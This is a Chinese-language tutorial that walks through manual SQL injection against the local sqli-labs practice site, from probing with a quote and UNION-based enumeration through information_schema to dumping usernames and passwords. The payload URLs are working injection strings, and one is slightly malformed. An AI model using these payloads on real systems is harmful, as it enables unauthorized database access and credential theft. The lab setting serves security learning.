SQL注入流程
1.判斷是否存在注入、以及請求方法(POST、GET、COOKIE、REQUEST、HTTP頭)
輸入單引號 ' 進行檢驗是否存在輸入
http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1 '
原理:
頁面發生了報錯,說明輸入的單引號 ' 影響了資料庫查詢,說明此處存在可控的引數,存在注入點
2.判斷引數型別(數字型、字元型、搜尋型、json)
輸入 and 1=2 檢驗是字元型還是數字型
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 and 1=2
報錯,證明是數字型。
原理:字元型在查詢有閉合符號,如果直接將and 1=2帶入查詢,以及後後面的測試語句,都會當成字串,不會被執行。
3.閉合查詢語句
輸入{' 、}、"、)、} 單個或者組合後在家測試語句 and 1=2 加註釋符號{ # 、 --+ 、%23)
原理:
使語句能正常執行
4.檢視這個網站所在的表有幾列
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 order by 3
使用二分法,如果輸入錯誤則報錯,如果存在就維持原狀。
原理:
select * from table order by n 表示select裡面的第n個欄位,從而判斷有幾行
5.進行 union select聯合查詢,發現輸出位
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,3 %23
發現有2個輸出位(為了union聯合查詢可以正常執行所以要使前方資訊報錯,後邊用%23進行註釋)
原理:
UNION 操作符用於合併兩個或多個 SELECT 語句的結果集
6.查詢資料庫版本號
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,version() %23
發現版本號為5.5.23(版本號5.0以上會專門生成一個叫information_schema的庫,這個庫裡有資料庫中所有表的名字)
7.查詢資料庫所擁有的表名
http://127.0.0.1/sqli-labs-master/Less-2/index.php?id=-1 union select1,2,group_concat
(table_namefrom information_schema.tables where table_schema = database() %23
原理:
group_concat(str1, str2,...)將多個字串連線成一個字串
8.查詢出users表裡的列名
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,group_concat(column_name)%20from information_schema.columns where table_name ="users"%23
9.查出users表中username列中 使用者名稱和密碼
http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(username,password) from users %23
group_concat() 顯示查詢到所有的列
information_schema一個庫
schemata:儲存所有資料庫的名字
tables:儲存說有表的名字
columns:儲存所有欄位的名字
參考
https://www.cnblogs.com/biaochen/p/11307264.html